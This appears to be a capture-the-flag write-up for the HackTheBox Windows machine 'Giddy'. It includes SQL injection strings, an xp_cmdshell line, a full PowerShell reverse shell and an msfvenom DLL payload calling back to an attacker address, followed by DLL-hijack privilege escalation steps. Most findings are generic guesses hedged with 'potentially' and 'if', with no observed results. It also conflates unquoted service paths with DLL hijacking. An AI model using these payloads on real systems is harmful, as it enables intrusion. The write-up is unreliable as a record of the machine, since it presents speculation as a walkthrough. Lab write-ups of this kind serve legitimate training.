Giddy - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Giddy is a Windows machine that requires careful enumeration to identify web application vulnerabilities and misconfigurations. The initial foothold involves exploiting SQL injection or web application flaws, followed by leveraging Windows service misconfigurations and weak privileges for privilege escalation. The machine emphasizes the importance of thorough reconnaissance and understanding Windows-specific privilege escalation vectors.

TL;DR: Web vulnerability → Initial access → Service enumeration → Privilege escalation via service misconfiguration → Administrator shell

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.104

Results:

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
443/tcp   open  https         Microsoft IIS httpd 10.0
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  wsman         Microsoft WSMAN

Service Enumeration

HTTP/HTTPS (Port 80/443):

• IIS 10.0 web server hosting a web application
• Directory enumeration reveals administrative panels and configuration files
• Web application potentially vulnerable to SQL injection or authentication bypass

Terminal Services (Port 3389):

• RDP available but requires valid credentials
• Secondary pivot point once initial access obtained

WinRM (Port 5985):

• Windows Remote Management service exposed
• Can be leveraged for command execution with valid credentials

Vulnerability Assessment

• SQL Injection in web application login or search functionality
• Weak or default credentials in web application
• Unquoted service paths or service DLL hijacking opportunities
• Weak file permissions on critical Windows services
• Potential for credential harvesting from application configuration

Initial Foothold

Exploitation Path

Step 1: Web Application Enumeration

# Enumerate web directories and discover application structure
gobuster dir -u http://10.10.10.104 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster_results.txt

Step 2: Identify SQL Injection Vulnerability

Test common injection points:

# Common SQL injection test vectors
' OR '1'='1
admin' --
' UNION SELECT NULL,NULL,NULL --

Focus on authentication bypass or data extraction from database queries.

Step 3: Gain Initial Access

Once SQL injection confirmed, extract credentials or bypass authentication:

# Example: Union-based SQL injection to extract user data
' UNION SELECT username,password FROM users --

Alternatively, leverage SQL injection for direct command execution if MSSQL is present:

-- Potential xp_cmdshell execution (if enabled)
'; EXEC xp_cmdshell 'powershell -Command ...' --

Step 4: Establish Reverse Shell

# PowerShell reverse shell payload
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.X",4444);
$stream = $client.GetStream();
[byte[]]$buffer = 0..65535|%{0};
while(($i = $stream.Read($buffer,0,$buffer.Length)) -ne 0){
    $command = ([text.encoding]::UTF8).GetString($buffer,0,$i);
    $output = (iex $command 2>&1 | Out-String);
    $outbuffer = ([text.encoding]::UTF8).GetBytes($output);
    $stream.Write($outbuffer,0,$outbuffer.Length);
    $stream.Flush()
}
$client.Close()

Privilege Escalation

Service Enumeration

# List all installed services
Get-WmiObject win32_service | Select-Object Name,State,PathName

# Check for unquoted paths (vulnerable to DLL hijacking)
wmic service list brief | findstr /V "C:\Windows"

Identify Vulnerable Service

Search for services running with elevated privileges that have:

• Unquoted service paths containing spaces
• Writable directories in the service path
• DLL dependencies that can be hijacked

# Check specific service details
sc qc ServiceName
icacls "C:\Path\To\Service"

DLL Hijacking / Service Exploitation

# Create malicious DLL that executes code
# Compile C# or use msfvenom to generate DLL
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.X LPORT=4444 -f dll > malicious.dll

# Place malicious DLL in service directory (writable location)
copy malicious.dll "C:\Vulnerable\Path\Library.dll"

# Restart service to trigger privilege escalation
net stop VulnerableService
net start VulnerableService

Alternative: UnquotedPath Exploitation

# If service path is: C:\Program Files\Vulnerable Service\service.exe
# Service will execute our payload with elevated privileges

Obtain Administrator Shell

Once privilege escalation successful, verify elevated context:

whoami /all
Get-Process | Where-Object {$_.Name -eq "powershell"} | Select-Object Name, Id, @{Name="Owner";Expression={$_.GetOwner().User}}

Attack Chain Summary

Reconnaissance (Port Scan + Service Enumeration)
         ↓
Web Application Analysis (Directory Enumeration)
         ↓
SQL Injection Discovery & Authentication Bypass
         ↓
Initial Foothold (Reverse Shell / Web Shell)
         ↓
Windows Service Enumeration (Unquoted Paths)
         ↓
DLL Hijacking / Service Exploitation
         ↓
Privilege Escalation to Administrator
         ↓
Complete System Compromise

Tools Used

Key Learnings

Techniques Practiced

• SQL injection identification and exploitation in web applications
• Windows service enumeration and privilege analysis
• Unquoted service path exploitation and DLL hijacking
• PowerShell payload development and reverse shell execution
• DLL injection and code execution in elevated context
• Windows privilege escalation vectors
• IIS configuration analysis

Lessons Learned

1. Defense in Depth Matters: Single web vulnerability can lead to full system compromise when combined with service misconfigurations.

2. Service Paths Are Critical: Always audit service installation paths for spaces and verify NTFS permissions on directories.

3. Windows-Specific Enumeration: Tools like Get-WmiObject, icacls, and sc are essential for Windows privilege escalation assessment.

4. SQL Injection Severity: Even basic input validation bypass can escalate to command execution when database user has elevated privileges.

5. Credential Harvesting: Web application databases often contain cleartext or weakly hashed credentials useful for lateral movement.

6. Service Restart Techniques: Understanding how to restart services (or leveraging automatic restarts) is crucial for DLL hijacking success.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>